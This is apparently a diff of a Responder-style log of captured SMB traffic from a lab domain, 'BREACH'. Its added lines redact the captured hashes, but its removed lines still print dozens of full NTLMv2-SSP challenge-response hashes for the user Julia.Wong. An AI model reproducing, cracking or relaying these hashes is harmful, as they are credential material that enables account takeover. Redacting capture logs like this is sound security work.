Julia.Wong::BREACH:4d57800cc5ed847b:19FE7C13489C5BB7DE088C7FD1578553:010100000000000080E6583190EBDC013BB62764A1EF16BC000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:f5c89c745b155cfe:BDD08C3E813B55B301F0D976114B2CC8:010100000000000080E6583190EBDC011AB33C8812BAE010000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:f646c421fc8109a0:208E39BF1EEA191F15291DCB90F6F6DE:010100000000000080E6583190EBDC011651DEC2B7A79812000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:e56a3c79e79c74a6:FAD40CD6D36253009D8DA8F5EBFACA93:010100000000000080E6583190EBDC015C70BF400388A6C0000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:ac3dcc0372bcc7ec:CCF0057055C2ECD59AD3ED3D1F47DB3C:010100000000000080E6583190EBDC011CCD68236B7631C1000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:46ceeeb9a90edd34:4CCAC861F620ADD56957751452335A86:010100000000000080E6583190EBDC01D31E1902EF6F87ED000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:f891f879a63aa3c6:22E8799A4790B0A4F7EC5EAFE0EA4F6F:010100000000000080E6583190EBDC0136E9DB6038982E17000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:5ede37c257d42a10:2ABF82934CE7ED574A1A90570EA59526:010100000000000080E6583190EBDC019341DCC9F66D2255000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:24e472966a79692b:95D2ECEC61B20FB255E6042DDA6F3352:010100000000000080E6583190EBDC01E3F00B1456D4CA63000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:8eca012d1b25e37c:F3DA01C627A360E6180B58FC51DD999C:010100000000000080E6583190EBDC01ADBFFDC4B28634A4000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:efca6bdd74c1331c:A793581F11F38D87B8D01DD66238C777:010100000000000080E6583190EBDC0177E35B44F78E7EDE000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:0c4121c15f22e570:E93D6C8134F72E1C111F94580A1864F2:010100000000000080E6583190EBDC0161930C00BA566E14000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:91e54090d9203136:06CBB0C1AD2C4680D926A76FDF1BEF8B:010100000000000080E6583190EBDC01A32A5872C2DF9FA4000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:6a1e0c5295937c54:E4605FB93DFE18C8FAEC638EB6E1320D:010100000000000080E6583190EBDC01C5202B213A661E07000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:396c5434550f631d:C3935A7D6F206EE682D19AB6EFEEAC8E:010100000000000080E6583190EBDC0108024033EDDBA9D5000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:80d1e6548dc94c06:970A7FBB738F58B011430D0E1E000C59:010100000000000080E6583190EBDC0137F7068354BB1EB7000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:ac5fd9c69557f0a1:1BDE6E95755C8A534379AE7D379C7F99:010100000000000080E6583190EBDC01C837885A60F43872000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:c48d8bdb1bce4b37:98E3051010AF295E6A1AEDC3701E0748:010100000000000080E6583190EBDC0141BE32837588D243000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:52827de64c761fbd:8E36059E5BD7D2F6F244ECB93C915C08:010100000000000080E6583190EBDC014A03AEBCEA51DB39000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:e720934efa62f6bd:7261A0B39E0840585A09040C7A9BDD95:010100000000000080E6583190EBDC0164324C99939AB530000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:cea66e4557f242aa:A07E62F6DB04AD0179C930EF846EB1AE:010100000000000080E6583190EBDC014B44A57DF87D8B7A000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:c929facfdcd0e668:A49B1F18737EFCBFEB8F7A45BAF5D6DD:010100000000000080E6583190EBDC01ECD00850C818731A000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:e7dad0c834ea816f:4956C8243628369A083659B8D6EEEC9C:010100000000000080E6583190EBDC019E1A868C9385CFBA000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:341d7aece1d08e69:26AF2D27993F5F0C30A49F73D7DFC1E3:010100000000000080E6583190EBDC01AD977CD87C06CC2D000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:d8518ce5c33d0332:9A08EB81A8A7A986371FB3485E6DFB3B:010100000000000080E6583190EBDC01A0B15C5ED6E55A78000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:c70b0b13a67b8162:32E47B940670078EF2C12E89E6E1BC19:010100000000000080E6583190EBDC0135FCA977D34D1C4B000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:1aa3f159b0164dab:ABEFB1D004070BCF07DE28D8A434BEFE:010100000000000080E6583190EBDC0191D9C5E55835CA3D000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:bae4e448601aae5d:E81D6B2AD2752D9E8F6929CFBA50EFD5:010100000000000080E6583190EBDC0183A35D3EE162FA93000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:070ee77e0310f2c5:92A27B3975FC65634A0C20ECB18A9AF5:010100000000000080E6583190EBDC01AEF369483F82906B000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:a240962c199d10a7:21BAE007073AF6964661FF96E17C9E14:010100000000000080E6583190EBDC017C9C999DD4B03E47000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:eff80d1b066ca496:0188105D54BEE0659B3BA09E3E603878:010100000000000080E6583190EBDC01D2C202D94C1CAAF9000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:52016dc6368541cd:887488ACCC8FE096B3A9307BFE4B01FA:010100000000000080E6583190EBDC01D92A6ABB4E58B9F3000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:76a7492f301d537b:D79BB4DEFFB8722402ADBA2FB9D31EF3:010100000000000080E6583190EBDC01C0E1E90FC7CC5CAF000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:f2830c8570fd2909:EB3135B98432A95603E6A7D41D3F54E0:010100000000000080E6583190EBDC01006930392349E2AC000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:8ce316fe63bbff68:7C83F0E61F78F9846819C3B948276CAF:010100000000000080E6583190EBDC01932D49C28AE8C18D000000000200080037004B004600480001001E00570049004E002D00380044003 